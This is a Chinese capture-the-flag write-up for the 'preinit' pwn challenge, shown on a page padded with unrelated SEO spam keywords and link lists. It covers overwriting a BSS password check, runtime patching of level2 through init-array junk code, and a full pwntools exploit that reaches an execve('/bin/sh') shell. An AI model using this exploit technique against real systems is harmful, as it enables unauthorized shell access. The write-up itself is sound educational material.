当前位置: 首页 > news >正文

视觉差 网站深圳龙华区有什么好玩的地方

视觉差 网站,深圳龙华区有什么好玩的地方,特色软件app推荐,蚌山网站建设查看保护: 查看ida: 这边其实看反汇编没啥大作用,需要自己动调。 但是前面的绕过strcmp还是要看一下的。 解题: 这里是用linux自带的产生随机数的文件urandom来产生一个随机密码,然后让我们输入密码,用st…

查看保护:

查看ida:

这边其实看反汇编没啥大作用,需要自己动调。

但是前面的绕过strcmp还是要看一下的。

解题:

这里是用linux自带的产生随机数的文件urandom来产生一个随机密码,然后让我们输入密码,用strcmp检查password是否与checkpass一样。我们可输入的字节数为0x110。

这里可以看出来我们的输入其实是存到bss段里了,而password距离checkpass也就0x100,所以我们的输入是可以覆盖checkpass的。

但是全题就这一个输入的地方,所以要考虑很多才能写好payload。

输入完之后进入level

这里会把我们的输入存入s中,在check中进行异或操作,再进入level2。

ida没什么好讲的,动调才是重点。

首先,你在level2打断点进如level2了之后就会发现这里跟ida汇编里是不一样的。

ida里面是这样的

完全不一样

这里是因为程序对level2进行了修改,所以我们即使在静态调试看机器码也看不出来,只有动调才能知道level2被修改了。

问题就出在初始化那里

他这里自己自定义了一个初始化数组

对level2是又一定影响的,而且这里还用了花指令,从地址红色可以看出这些地方解析有争议。

事实上,其实我们用不着去了解为啥level2被改,也用不着在ida里把level2给改回来(在ida里修改机器码是影响不了elf文件的,只是为了分析),直接看动调就行了,动调是啥就是啥。

但既然有这个点就说一下。

我们先看动调出来的

对机器码敏感的应该很快就可以看出来,\x57对应push di,而\x56对应push si,后面的也可以对应得上(这里是人为注入机器码形成花指令,有些数据是干扰的),那就是题目引导你去把这里的机器码改进level2中。

然后排除干扰数据修改level2

import idaapi
list=[0x480A7F8D48525657,0x0AAF300000050C1C7,0x0FF085F8D485F5E5A,0x0C3E3]
addr=0x401324
for i in list:idaapi.put_qword(addr,i)addr+=8

说了那么多,感觉都不如直接看动调来得容易,毕竟比赛的时候太难想到了。

在执行jmp rbx之前,无论输入啥,在大多数情况下rdi里面会储存我们输入的字符串的开头,rsi为0,rdx为0,rax为输出的字节数,rip为rdi+8并可以控制,如果此时我们令rdi为/bin/sh,rip为syscall就可以进行系统调用execve。这样就出了。

完整exp:

from pwn import*
context(log_level='debug')
p=process('./preinit')list=b'/bin/sh\x00\x0f\x05' #\x0f\x05是调用syscall
shell=[]
shell+=[i^0x3b for i in list]
'''
for i in list:shell.append(i^0x3b)
'''
shell=bytes(shell)+b'%50c'
payload=shell
payload=payload.ljust(0x100,b'\x00')
payload+=shell
print(payload)
p.sendafter(b'what is your password:',payload)
p.interactive()

补充点1:

在我们调试的时候可能会认为程序卡住了,比如下图

其实这是因为rep stosb的原因,准确的说是rep,他会根据cx寄存器里的值进行重复操作,比如这里是rcx=0x50,他就会进行0x50次操作,重复完之后会接着进行下一步。

补充点2:

像刚刚的操作在ida没法修改elf文件的机器码

补充点3:

在修改level2的时候可能会遇到这种情况

那就鼠标选中要重新分析的范围

按c重新分析

就可以了

http://www.yayakq.cn/news/860387/

相关文章:

  • 金融网站如何做设计方案珠海网站建设案例
  • 品牌建设论文参考文献鄞州seo服务
  • 网站软件下载appphp网站开发源码
  • 零基础网站建设书籍dw做网站站点
  • 怎么做网站平台梦想腾讯域名备案
  • 越策网站建设提供网站建设公司电话
  • 网站建设需要什么内容邮箱qq登录网页登陆官网入口
  • 手机网站优化需要注意什么专做企业网站的
  • 服务定制网站建设银行个人网上银行网站加载
  • 优定软件网站建设3d建模有前途吗
  • 有什么网站可以做家装wordpress upload 加密
  • 珠海网站建设策划东莞网络优化哪家强
  • 中国核工业第五建设有限公司招聘信息东莞seo排名外包
  • 网站建设入门解读上海建设工程招标网
  • 路由器当服务器做网站最适合女生的专业排名
  • 车轮违章查询是什么网站开发网站双域名
  • 大连网站建设 意动科技网站蓝色导航栏代码
  • 金融服务网站建设wordpress开启加载图标库
  • 如何做网站建设业务员一个网站怎么做软件好用
  • 网站开发多久软件开发工具也叫什么工具
  • 微信网站制作软件有哪些wordpress微信分享按钮
  • 山西网站建设推广服务如何制作个人主页
  • 微信公众号手机网站开发石家庄站分布图
  • 不错的网站建设公司互联网广告业务
  • 博客网站做外贸可以吗泰州网站建设搭建
  • 广州建设工程合同备案系统网站建立网站第一步怎么做
  • 自建网站阿里云备案通过后怎么做简述网站规划的任务
  • 网站推广费用预算企业官网网页
  • 做常州美食网站首页的背景图中国电子网
  • 单位网站建设情况说明韩国网页设计公司网站